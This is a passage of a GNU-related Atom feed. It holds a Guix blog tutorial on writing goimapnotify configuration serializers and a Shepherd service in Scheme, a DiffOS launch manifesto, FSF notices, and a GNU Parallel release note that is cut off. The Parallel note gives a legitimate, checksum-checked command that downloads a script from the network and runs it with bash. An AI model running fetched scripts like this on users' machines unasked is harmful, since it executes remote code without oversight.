&lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Mail-Home-Services.html#MSMTP-Service&quot;&gt;msmtp&lt;/a&gt;.
With that said, if we tried to do this:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define-maybe string (prefix goimapnotify-))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We would be surprised with a warning that looks something like this:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-example&quot;&gt;$ make
...
[ 94%] GUILEC   gnu/home/services/mail.go
gnu/home/services/mail.scm:67:0: warning: shadows previous definition of `maybe-string?&#39; at gnu/home/services/mail.scm:63:0
gnu/home/services/mail.scm:278:0: warning: shadows previous definition of `goimapnotify-serialize-maybe-string&#39; at gnu/home/services/mail.scm:67:0&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That&#39;s unexpected, isn&#39;t it? Nothing we&#39;ve seen so far points to a
&lt;code&gt;maybe-string?&lt;/code&gt; procedure, let&#39;s look at what is going under the hood of that
&lt;code&gt;define-maybe&lt;/code&gt; macro:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; ,expand (define-maybe string (prefix msmtp-configuration-))
$15 = (begin
        (define (maybe-string? val)
          (or ((@@ (gnu services configuration) not)
               ((@@ (gnu services configuration) maybe-value-set?) val))
              (string? val)))
        (define (msmtp-configuration-serialize-maybe-string field-name val)
          (if (string? val)
              (msmtp-configuration-serialize-string field-name val)
              &quot;&quot;)))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Do you see it? The macro is expanding to some code that introduces two new
procedures into the module, one following the prefix, that would be
&lt;code&gt;msmtp-configuration-serialize-maybe-string&lt;/code&gt;, and one that just declares the
predicate for the maybe type.&lt;/p&gt;&lt;p&gt;Given that, the warning is now apparent. If we call again that macro with a
&lt;code&gt;string&lt;/code&gt; as the first argument, we will get the same predicate after the
expansion, leading to the redefinition warning.&lt;/p&gt;&lt;p&gt;So, for this particular case, instead of using the macro, we will define
manually the two procedures required for our configuration:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;;; The module already had this helper defined.
(define (string-or-gexp? obj)
  (or (string? obj)
      (gexp? obj)))

;; ... omitted lines ...

(define (goimapnotify-serialize-string field-name val)
  (goimapnotify-serialize-field field-name val))

(define (goimapnotify-serialize-maybe-string field-name val)
  (if (maybe-value-set? val)
      (goimapnotify-serialize-string field-name val)
      &quot;&quot;))

(define goimapnotify-serialize-string-or-gexp
  goimapnotify-serialize-string)

(define (goimapnotify-serialize-maybe-string-or-gexp field-name val)
  (if (and (maybe-value-set? val)
           (string-or-gexp? val))
      (goimapnotify-serialize-string-or-gexp field-name val)
      &quot;&quot;))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The above snippet defines all the serializers we need for the new types.  Notice
that they are just some simple wrappers around the
&lt;code&gt;goimapnotify-serialize-field&lt;/code&gt; helper. That procedure is doing all the heavy
lifting here, and fortunately for us, it already handles gexps. Therefore, the
fields that have a type that accepts a gexp are straightforward to declare.&lt;/p&gt;&lt;p&gt;That would be it for the &lt;code&gt;goimapnotify-box-configuration&lt;/code&gt; declaration. As showed
in the previous section, the REPL is your friend. I had never written such a
complex configuration before, but thanks to this &lt;a href=&quot;https://xkcd.com/297&quot;&gt;&quot;elegant weapon for a more
civilized age&quot;&lt;/a&gt;, I could find my way by poking things
around.&lt;/p&gt;&lt;p&gt;Let&#39;s continue!&lt;/p&gt;&lt;h1&gt;&lt;code&gt;goimapnotify-configuration&lt;/code&gt;&lt;/h1&gt;&lt;p&gt;You know the drill, we start by defining the fields we need. Again, I&#39;m doing
this just by looking at the README example provided by the developers of
Goimapnotify:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define-configuration goimapnotify-configuration
  (host
   string
   &quot;The IMAP server hostname.&quot;)

  (host-command
   maybe-string-or-gexp
   &quot;The command to retrieve the IMAP server hostname.&quot;)

  (port
   (integer 993)
   &quot;The port that the IMAP server listens on.&quot;)

  (tls?
   (boolean #f)
   &quot;Enable or disable TLS.&quot;)

  (tls-options
   maybe-goimapnotify-tls-options-configuration
   &quot;TLS options for the IMAP connection.&quot;
   (serializer serialize-maybe-goimapnotify-tls-options-configuration))

  (idle-logout-timeout
   maybe-integer
   &quot;The idle logout timeout in minutes.&quot;)

  (user-name
   maybe-string
   &quot;The user-name for authentication.&quot;)

  (user-name-command
   maybe-string-or-gexp
   &quot;The command to retrieve the user-name.&quot;)

  (alias
   maybe-string
   &quot;An alias for the account.&quot;)

  (password
   maybe-string
   &quot;The password for authentication.&quot;)

  (password-command
   maybe-string-or-gexp
   &quot;The command to retrieve the password.&quot;)

  (xo-auth2?
   (boolean #f)
   &quot;Enable or disable XOAUTH2 authentication.&quot;)

  (wait
   maybe-integer
   &quot;The delay in seconds before the mail syncing is triggered.&quot;)

  (boxes
   list-of-goimapnotify-boxes-configurations
   &quot;The mailboxes to monitor.&quot;
   (serializer serialize-list-of-goimapnotify-boxes-configurations))

  (prefix goimapnotify-))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You are already familiar with most of those types, but there are some new things
here:&lt;/p&gt;&lt;ul&gt;&lt;li&gt;&lt;code&gt;integer&lt;/code&gt; and &lt;code&gt;maybe-integer&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;maybe-goimapnotify-tls-options-configuration&lt;/code&gt;&lt;/li&gt;&lt;li&gt;&lt;code&gt;list-of-goimapnotify-boxes-configurations&lt;/code&gt;&lt;/li&gt;&lt;/ul&gt;&lt;p&gt;Let&#39;s start with the obvious ones first.&lt;/p&gt;&lt;h2&gt;&lt;code&gt;integer&lt;/code&gt;&lt;/h2&gt;&lt;p&gt;The module already had a maybe definition for the integer. If you recall from
the macro expansion earlier, that means that there is already a symbol for the
predicate &lt;code&gt;maybe-integer?&lt;/code&gt;:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define-maybe integer (prefix msmtp-configuration-))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We still need a serializer that follows our prefix:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define (goimapnotify-serialize-integer field-name val)
  (goimapnotify-serialize-field field-name val))

(define (goimapnotify-serialize-maybe-integer field-name val)
  (if (maybe-value-set? val)
      (goimapnotify-serialize-integer field-name val)
      &quot;&quot;))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Simple enough. Moving on!&lt;/p&gt;&lt;h2&gt;&lt;code&gt;maybe-goimapnotify-tls-options-configuration&lt;/code&gt;&lt;/h2&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define (serialize-goimapnotify-tls-options-configuration field-name val)
  (let ((serialization (serialize-configuration val goimapnotify-tls-options-configuration-fields)))
    #~(begin
        (use-modules (ice-9 format) (ice-9 string-fun))
        (format #f &quot;~a:
  ~a~%&quot;
                &#39;#$(camelize-field-name field-name)
                (string-replace-substring #$serialization &quot;\n&quot; &quot;\n  &quot;)))))

(define-maybe goimapnotify-tls-options-configuration)&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;You are already familiar with the &lt;code&gt;define-maybe&lt;/code&gt; macro. The serializer is also
quite simple. Since we already defined a record that contains within all the
required information to serialize it, we just need to make a simple wrapper
around &lt;code&gt;serialize-configuration&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;Before moving forward, notice how the serializers from this section doesn&#39;t
contain that &lt;code&gt;goimapnotify-&lt;/code&gt; prefix. This is an arbitrary decision, but since
there is already &lt;code&gt;goimapnotify&lt;/code&gt; in the symbol name, I think it&#39;s a bit redundant
to add it. For the configuration definition to know which serializer to use, we
have to be specific in the serializer argument of the fields, that&#39;s why in the
configuration we had this declaration specifying a &lt;code&gt;(serializer ...)&lt;/code&gt; for the
field:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define-configuration goimapnotify-configuration
  ;; ... omitted lines ...
  (tls-options
   maybe-goimapnotify-tls-options-configuration
   &quot;TLS options for the IMAP connection.&quot;
   (serializer serialize-maybe-goimapnotify-tls-options-configuration))
  ;; ... omitted lines ...
  (prefix goimapnotify-))&lt;/code&gt;&lt;/pre&gt;&lt;h2&gt;&lt;code&gt;list-of-goimapnotify-boxes-configurations&lt;/code&gt;&lt;/h2&gt;&lt;p&gt;First we need a prefix to know if we have a list of
&lt;code&gt;goimapnotify-box-configuration&lt;/code&gt; objects, that one is simple:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define (list-of-goimapnotify-boxes-configurations? lst)
  (and (not (null? lst))
       (every goimapnotify-box-configuration? lst)))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Now we need a serializer that knows how to handle a list of these objects:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define (serialize-list-of-goimapnotify-boxes-configurations field-name value)
  (let ((serializations (cons &#39;list
                              (map (cut serialize-configuration &amp;lt;&amp;gt;
                                        goimapnotify-box-configuration-fields)
                                   value))))
    #~(begin
        (use-modules (ice-9 format) (ice-9 string-fun))
        (format #f &quot;~a:
~{  - ~a~%~}&quot;
                &#39;#$(camelize-field-name field-name)
                (map (lambda (s)
                       (string-replace-substring s &quot;\n&quot; &quot;\n    &quot;))
                     #$serializations)))))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Looks a bit daunting, but it&#39;s just staged code, remember our earlier
explanation of gexps. This code is only constructing a string with the shape we
need.&lt;/p&gt;&lt;p&gt;As a reminder, we are serializing to YAML, that means that lists are prefixed by
a &lt;code&gt;-&lt;/code&gt; character. Following the Goimapnotify README, the indentation would be
something like this:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;boxes:
  - mailbox: INBOX
    onNewMail: &#39;mbsync examplenet:INBOX&#39;
    onNewMailPost: SKIP
    onChangedMail: &#39;mbsync examplenet:INBOX&#39;
  - mailbox: Junk
    onNewMail: &#39;mbsync examplenet:Junk&#39;
    onNewMailPost: SKIP&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;This is what that &lt;code&gt;format&lt;/code&gt; call is doing. Refer to
&lt;a href=&quot;https://doc.guix.gnu.org/guile/latest/en/html_node/Formatted-Output.html&quot;&gt;Formatted-Output&lt;/a&gt;
for more information.&lt;/p&gt;&lt;p&gt;We are only lacking a way to generate a complete configuration, remember that
&lt;code&gt;goimapnotify-configuration&lt;/code&gt; is an object for a single configuration. According
to the README of Goimapnotify, the configuration file can take a list of
configurations.&lt;/p&gt;&lt;h1&gt;&lt;code&gt;home-goimapnotify-configuration&lt;/code&gt;&lt;/h1&gt;&lt;p&gt;This is the last configuration we will need, it will be used directly by the
service:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define-configuration home-goimapnotify-configuration
  (goimapnotify
   (file-like goimapnotify)
   &quot;The @code{goimapnotify} package to use.&quot;
   empty-serializer)
  (configurations
   (list-of-goimapnotify-configurations)
   &quot;A list of @code{goimapnotify-configuration} records which contain
information about all your accounts configurations.&quot;))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Simple enough, the first field is the Guix package that provides the
&lt;code&gt;goimapnotify&lt;/code&gt; program. This one is used by the service to start the
process. Since it doesn&#39;t need to appear in any configuration file, we don&#39;t
need to serialize it, hence the &lt;code&gt;empty-serializer&lt;/code&gt;.&lt;/p&gt;&lt;p&gt;On last serializer:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define (serialize-list-of-goimapnotify-configurations field-name value)
  (let ((serializations (cons &#39;list
                              (map (cut serialize-configuration &amp;lt;&amp;gt;
                                        goimapnotify-configuration-fields)
                                   value))))
    #~(begin
        (use-modules (ice-9 format) (ice-9 string-fun))
        (format #f &quot;~a:
~{  - ~a~%~}&quot;
                &#39;#$(camelize-field-name field-name)
                (map (lambda (s)
                       (string-replace-substring s &quot;\n&quot; &quot;\n    &quot;))
                     #$serializations)))))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;The rationale for this code is the same as the one explained for
&lt;code&gt;list-of-goimapnotify-boxes-configurations&lt;/code&gt;.&lt;/p&gt;&lt;h1&gt;Defining the Shepherd service&lt;/h1&gt;&lt;p&gt;The service definition; at last!&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define (home-goimapnotify-shepherd-service config)
  (let ((log-file #~(string-append %user-log-dir &quot;/goimapnotify.log&quot;)))
    (list
     (shepherd-service
       (provision &#39;(goimapnotify))
       (modules &#39;((shepherd support)))   ;for &#39;%user-log-dir&#39;
       (documentation &quot;Run a goimapnotify process&quot;)
       (start #~(make-forkexec-constructor
                 (list
                  #$(file-append
                     (home-goimapnotify-configuration-goimapnotify config)
                     &quot;/bin/goimapnotify&quot;)
                  &quot;-conf&quot; #$(mixed-text-file &quot;goimapnotify.yaml&quot;
                                             (serialize-configuration config
                                                                      home-goimapnotify-configuration-fields)))
                 #:log-file #$log-file))
       (stop #~(make-kill-destructor))))))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;Refer to &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Shepherd-Services.html&quot;&gt;Shepherd
Services&lt;/a&gt;
for more information on how to write Shepherd services. I will only highlight
how to handle the configuration we just wrote.&lt;/p&gt;&lt;p&gt;We have already done all the hard work, the configuration declaration contains
all the information needed to perform the serialization of the different fields
to YAML, we just need to call &lt;code&gt;serialize-configuration&lt;/code&gt;. For example:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; (define test-config
  (home-goimapnotify-configuration
   (configurations
    (list
     (goimapnotify-configuration
      (host &quot;test.example.com&quot;)
      (boxes
       (list
        (goimapnotify-box-configuration
         (mailbox &quot;Test&quot;)))))))))

scheme@(gnu home services mail)&amp;gt; (serialize-configuration test-config home-goimapnotify-configuration-fields)
$6 = #&amp;lt;gexp  gnu/services/configuration.scm:165:2 7f3448e678a0&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;That serialization gives a gexp ready to be wrapped in a file-like so it can be
lowered to the store. That&#39;s what &lt;code&gt;mixed-text-file&lt;/code&gt; is doing:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;scheme@(gnu home services mail)&amp;gt; (mixed-text-file &quot;goimapnotify.yaml&quot;
                 (serialize-configuration test-config
                                          home-goimapnotify-configuration-fields))
$7 = #&amp;lt;&amp;lt;computed-file&amp;gt; name: &quot;goimapnotify.yaml&quot; gexp: #&amp;lt;gexp  guix/gexp.scm:2171:6 7f343915ef60&amp;gt; guile: #f options: (#:local-build? #t)&amp;gt;
scheme@(gnu home services mail)&amp;gt;&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We&#39;ve got ourselves a service, but there is one last thing before we go!&lt;/p&gt;&lt;h1&gt;Defining the service type&lt;/h1&gt;&lt;p&gt;As mentioned in the previous section, refer to &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Defining-Services.html&quot;&gt;Defining
Services&lt;/a&gt;
for what&#39;s going on here. The last thing we need do is declare the relation that
this service has with respect to others:&lt;/p&gt;&lt;pre&gt;&lt;code class=&quot;language-scheme&quot;&gt;(define home-goimapnotify-service-type
  (service-type
    (name &#39;home-goimapnotify)
    (extensions
     (list (service-extension home-shepherd-service-type
                              home-goimapnotify-shepherd-service)))
    (description &quot;Configures the @code{goimapnotify} IMAP Mailbox notifier.&quot;)))&lt;/code&gt;&lt;/pre&gt;&lt;p&gt;We did it!&lt;/p&gt;&lt;h1&gt;Closing words&lt;/h1&gt;&lt;p&gt;Still here? That was long... But here we are, we defined our &lt;a href=&quot;https://guix.gnu.org/manual/devel/en/html_node/Complex-Configurations.html&quot;&gt;&lt;strong&gt;complex
configuration&lt;/strong&gt;&lt;/a&gt;.&lt;/p&gt;&lt;p&gt;Congratulations on reading till the end, by this time you should already be an
expert on defining Guix configurations.&lt;/p&gt;&lt;p&gt;We acknowledge that there are some improvements to do on the API for defining
configurations. We would like to have a way to specify symbol mapping for field
names in the declaration, so that serializers can be generalized better. It
would also be nice if we could refactor some of our configuration definitions so
the serializers that can be generalized are reused between declarations. After
all, there are many configuration files in similar formats.&lt;/p&gt;&lt;p&gt;For all of these improvements, we are counting on you! I wrote this blog post to
empower you to participate in the development. If this is something that
resonates with you, come join the fun!&lt;/p&gt;</content>
	<author>
	  <name>Sergio Pastor Pérez</name>
	   <uri>https://guix.gnu.org/blog/</uri> 
	</author>
	<source>
	  <title type="html">GNU Guix — Blog</title>
	  
	  <link rel="self" href="https://guix.gnu.org/feeds/blog.atom"/>
	  <id>https://guix.gnu.org/feeds/blog.atom</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en-US">Soft-launching the DiffOS project</title>
	<link href="https://blog.josefsson.org/2026/09/04/soft-launching-the-diffos-project/"/>
	<id>https://blog.josefsson.org/?p=2285</id>
	<updated>2026-09-04T13:11:41+00:00</updated>
	<summary type="html" xml:lang="en-US"></summary>
	<content type="html" xml:lang="en-US">&lt;p class=&quot;wp-block-paragraph&quot;&gt;Today marks the day of soft-launching of my Debian derivative, which I’ve been using on several of my own machines for the past year or so.  This is still work in progress, but I wanted to establish a launch date of the project so below is the DiffOS manifesto as motivation for continued work.&lt;/p&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;&lt;a href=&quot;https://www.diffos.org/&quot;&gt;DiffOS&lt;/a&gt; is For Freedom! &lt;a href=&quot;https://www.diffos.org/&quot;&gt;DiffOS&lt;/a&gt; is the Debian Increment For Freedom Operating System.&lt;/p&gt;



&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Aspire to the goals of &lt;a href=&quot;https://www.gnu.org/distros/free-system-distribution-guidelines.html&quot;&gt;GNU FSDG&lt;/a&gt; and become a recognized &lt;a href=&quot;https://www.gnu.org/distros/free-distros.html&quot;&gt;Free GNU/Linux distribution&lt;/a&gt;.&lt;/li&gt;



&lt;li&gt;Uses &lt;a href=&quot;https://www.debian.org/&quot;&gt;Debian GNU/Linux&lt;/a&gt; as upstream.&lt;/li&gt;



&lt;li&gt;Support for all architectures supported by Debian.&lt;/li&gt;



&lt;li&gt;Provide Containers, Cloud Images, LiveCD and installer ISOs.&lt;/li&gt;



&lt;li&gt;Provide standalone hosting of the package repository.&lt;/li&gt;



&lt;li&gt;Provide documentation and issue tracker.&lt;/li&gt;



&lt;li&gt;Keep changes to a minimal, in particular:
&lt;ul class=&quot;wp-block-list&quot;&gt;
&lt;li&gt;Upstream-first policy to prefer that any changes are made in Debian, and only if that fails they are considered for DiffOS.&lt;/li&gt;



&lt;li&gt;Binary package re-use for as much as is possible.&lt;/li&gt;



&lt;li&gt;Don’t modify any source-level Debian package unless &lt;em&gt;REQUIRED&lt;/em&gt; by the FSDG (e.g., for freedom concerns) or &lt;em&gt;REQUIRED&lt;/em&gt; by the Debian project (e.g., for branding reasons).&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;



&lt;li&gt;Publish a list of packages that are added, removed or modified compared to Debian, with justification for each change.&lt;/li&gt;



&lt;li&gt;Publish &lt;a href=&quot;https://diffoscope.org/&quot;&gt;Diffoscope&lt;/a&gt;-style outputs comparing our artifacts with comparable Debian artifact.&lt;/li&gt;



&lt;li&gt;Everything built from CI/CD pipelines, inspired by the &lt;a href=&quot;https://salsa.debian.org/salsa-ci-team/pipeline/&quot;&gt;Salsa CI pipeline&lt;/a&gt; but extended to cover the package repository and installation images as well, to allow modern GitSecDevOps of the entire supply-chain.&lt;/li&gt;



&lt;li&gt;Use inspiration from other Debian-derived FSDG distributions &lt;a href=&quot;https://trisquel.info/&quot;&gt;Trisquel GNU/Linux&lt;/a&gt; and &lt;a href=&quot;https://pureos.net/&quot;&gt;PureOS&lt;/a&gt;, and broader with &lt;a href=&quot;https://guix.gnu.org/&quot;&gt;GNU Guix&lt;/a&gt; especially on how to approach existing freedom concerns in packages.&lt;/li&gt;



&lt;li&gt;Git Forge agnostic. While currently hosted on GitLab.com, scripts and configuration are (or will be) designed to allow setup on self-hosted GitLab instance, &lt;a href=&quot;https://codeberg.org/&quot;&gt;Codeberg.org&lt;/a&gt; or self-hosted &lt;a href=&quot;https://forgejo.org/&quot;&gt;Forgejo&lt;/a&gt;.&lt;/li&gt;



&lt;li&gt;Maintained by Humans – &lt;a href=&quot;https://thehumanmanifesto.org/&quot;&gt;THE HUMAN MANIFESTO FOR THE AGE OF ARTIFICIAL INTELLIGENCE&lt;/a&gt;.&lt;/li&gt;
&lt;/ul&gt;



&lt;p class=&quot;wp-block-paragraph&quot;&gt;Happy Hacking!&lt;/p&gt;</content>
	<author>
	  <name>simon</name>
	   <uri>https://blog.josefsson.org</uri> 
	</author>
	<source>
	  <title type="html">gnu – Simon Josefsson&#39;s blog</title>
	  
	  <link rel="self" href="https://blog.josefsson.org/tag/gnu/feed/"/>
	  <id>https://blog.josefsson.org</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">Free Software Directory meeting on IRC: Friday, September 11, starting at 12:00 EDT (16:00 UTC)</title>
	<link href="http://www.fsf.org/events/fsd-2026-09-11-irc"/>
	<id>http://www.fsf.org/events/fsd-2026-09-11-irc</id>
	<updated>2026-09-01T19:44:11+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">Join the FSF and friends on Friday, September 11 from 12:00 to 15:00 EDT (16:00 to 19:00 UTC) to help improve the Free Software Directory.</content>
	<author>
	  <name>FSF Events</name>
	   <uri>http://www.fsf.org/events/aggregator</uri> 
	</author>
	<source>
	  <title type="html">Events</title>
	  <subtitle type="html">Site Events</subtitle>
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/events.xml"/>
	  <id>http://www.fsf.org/events/aggregator</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">August GNU Spotlight with Amin Bandali featuring eighteen new GNU releases: Emacs, LibreDWG, and more!</title>
	<link href="http://www.fsf.org/blogs/community/2026-august-gnu-spotlight"/>
	<id>http://www.fsf.org/blogs/community/2026-august-gnu-spotlight</id>
	<updated>2026-09-01T15:40:54+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en"></content>
	<author>
	  <name>FSF Blogs</name>
	   <uri>http://www.fsf.org/blogs/recent-blog-posts</uri> 
	</author>
	<source>
	  <title type="html">FSF blogs</title>
	  <subtitle type="html">Writing by representatives of the Free Software Foundation.</subtitle>
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/blogs.xml"/>
	  <id>http://www.fsf.org/blogs/recent-blog-posts</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">The FSF is now on Bluesky: Here&#39;s how and why we did it</title>
	<link href="http://www.fsf.org/blogs/community/2026-bluesky"/>
	<id>http://www.fsf.org/blogs/community/2026-bluesky</id>
	<updated>2026-08-31T22:55:00+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en"></content>
	<author>
	  <name>FSF Blogs</name>
	   <uri>http://www.fsf.org/blogs/recent-blog-posts</uri> 
	</author>
	<source>
	  <title type="html">FSF blogs</title>
	  <subtitle type="html">Writing by representatives of the Free Software Foundation.</subtitle>
	  <link rel="self" href="https://static.fsf.org/fsforg/rss/blogs.xml"/>
	  <id>http://www.fsf.org/blogs/recent-blog-posts</id>  
	</source>
  </entry>
  
  <entry xml:lang="en">
	<title type="html" xml:lang="en">GNU Parallel 20260822 (&#39;Ceuta&#39;) released</title>
	<link href="https://savannah.gnu.org/news/?id=10930"/>
	<id>https://savannah.gnu.org/news/?id=10930</id>
	<updated>2026-08-30T21:07:02+00:00</updated>
	<summary type="html" xml:lang="en"></summary>
	<content type="html" xml:lang="en">&lt;p&gt;GNU Parallel 20260822 (&#39;Ceuta&#39;) has been released. It is available for download at: lbry://@GnuParallel:4
&lt;br /&gt;

&lt;br /&gt;
Quote of the month:
&lt;br /&gt;

&lt;br /&gt;
  Parallel has an option for almost everything, it&#39;s almost too much.
&lt;br /&gt;
    -- tester457@ycombinator
&lt;br /&gt;

&lt;br /&gt;
New in this release:
&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Replacement string: {%jq: jq-expression %}
&lt;/li&gt;
&lt;li&gt;Use $^X when calling perl. So if different versions of perl are found in $PATH, we use the same version that started GNU Parallel.
&lt;/li&gt;
&lt;li&gt;Bug fixes and man page updates.
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel - For people who live life in the parallel lane.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel record a video testimonial: Say who you are, what you use GNU Parallel for, how it helps you, and what you like most about it. Include a command that uses GNU Parallel if you feel like it.
&lt;br /&gt;

&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;h2&gt;About GNU Parallel&lt;/h2&gt;
&lt;p&gt;
&lt;br /&gt;
GNU Parallel is a shell tool for executing jobs in parallel using one or more computers. A job can be a single command or a small script that has to be run for each of the lines in the input. The typical input is a list of files, a list of hosts, a list of users, a list of URLs, or a list of tables. A job can also be a command that reads from a pipe. GNU Parallel can then split the input and pipe it into commands in parallel.
&lt;br /&gt;

&lt;br /&gt;
If you use xargs and tee today you will find GNU Parallel very easy to use as GNU Parallel is written to have the same options as xargs. If you write loops in shell, you will find GNU Parallel may be able to replace most of the loops and make them run faster by running several jobs in parallel. GNU Parallel can even replace nested loops.
&lt;br /&gt;

&lt;br /&gt;
GNU Parallel makes sure output from the commands is the same output as you would get had you run the commands sequentially. This makes it possible to use output from GNU Parallel as input for other programs.
&lt;br /&gt;

&lt;br /&gt;
For example you can run this to convert all jpeg files into png and gif files and have a progress bar:
&lt;br /&gt;

&lt;br /&gt;
  parallel --bar convert {1} {1.}.{2} ::: *.jpg ::: png gif
&lt;br /&gt;

&lt;br /&gt;
Or you can generate big, medium, and small thumbnails of all jpeg files in sub dirs:
&lt;br /&gt;

&lt;br /&gt;
  find . -name &#39;*.jpg&#39; |
&lt;br /&gt;
    parallel convert -geometry {2} {1} {1//}/thumb{2}_{1/} :::: - ::: 50 100 200
&lt;br /&gt;

&lt;br /&gt;
You can find more about GNU Parallel at: &lt;a href=&quot;http://www.gnu.org/s/parallel/&quot;&gt;http://www.gnu ... rg/s/parallel/&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
You can install GNU Parallel in just 10 seconds with:
&lt;br /&gt;

&lt;br /&gt;
    $ (wget -O - pi.dk/3 || lynx -source pi.dk/3 || curl pi.dk/3/ || \
&lt;br /&gt;
       fetch -o - &lt;a href=&quot;http://pi.dk/3&quot;&gt;http://pi.dk/3&lt;/a&gt; ) &amp;gt; install.sh
&lt;br /&gt;
    $ sha1sum install.sh | grep c555f616391c6f7c28bf938044f4ec50
&lt;br /&gt;
    12345678 c555f616 391c6f7c 28bf9380 44f4ec50
&lt;br /&gt;
    $ md5sum install.sh | grep 707275363428aa9e9a136b9a7296dfe4
&lt;br /&gt;
    70727536 3428aa9e 9a136b9a 7296dfe4
&lt;br /&gt;
    $ sha512sum install.sh | grep b24bfe249695e0236f6bc7de85828fe1f08f4259
&lt;br /&gt;
    83320d89 f56698ec 77454856 895edc3e aa16feab 2757966e 5092ef2d 661b8b45
&lt;br /&gt;
    b24bfe24 9695e023 6f6bc7de 85828fe1 f08f4259 6ce5480a 5e1571b2 8b722f21
&lt;br /&gt;
    $ bash install.sh
&lt;br /&gt;

&lt;br /&gt;
Watch the intro video on &lt;a href=&quot;http://www.youtube.com/playlist?list=PL284C9FF2488BC6D1&quot;&gt;http://www.youtub ... L284C9FF2488BC6D1&lt;/a&gt;
&lt;br /&gt;

&lt;br /&gt;
Walk through the tutorial (man parallel_tutorial). Your command line will love you for it.
&lt;br /&gt;

&lt;br /&gt;
When using programs that use GNU Parallel to process data for publication please cite:
&lt;br /&gt;

&lt;br /&gt;
O. Tange (2018): GNU Parallel 2018, March 2018, &lt;a href=&quot;https://doi.org/10.5281/zenodo.1146014&quot;&gt;https://doi.org/1 ... 81/zenodo.1146014&lt;/a&gt;.
&lt;br /&gt;

&lt;br /&gt;
If you like GNU Parallel:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Give a demo at your local user group/team/colleagues
&lt;/li&gt;
&lt;li&gt;Post the intro videos on Reddit/Diaspora*/forums/blogs/ Identi.ca/Google+/Twitter/Facebook/Linkedin/mailing lists
&lt;/li&gt;
&lt;li&gt;Get the merchandise &lt;a href=&quot;https://gnuparallel.threadless.com/designs/gnu-parallel&quot;&gt;https://gnuparall ... igns/gnu-parallel&lt;/a&gt;
&lt;/li&gt;
&lt;li&gt;Request or write a review for your favourite blog or magazine
&lt;/li&gt;
&lt;li&gt;Request or build a package for your favourite distribution (if it is not already there)
&lt;/li&gt;
&lt;li&gt;Invite me for your next conference
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If you use programs that use GNU Parallel for research:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Please cite GNU Parallel in you publications (use --citation)
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;
&lt;br /&gt;
If GNU Parallel saves you money:
&lt;br /&gt;

&lt;br /&gt;
&lt;/p&gt;
&lt;ul&gt;
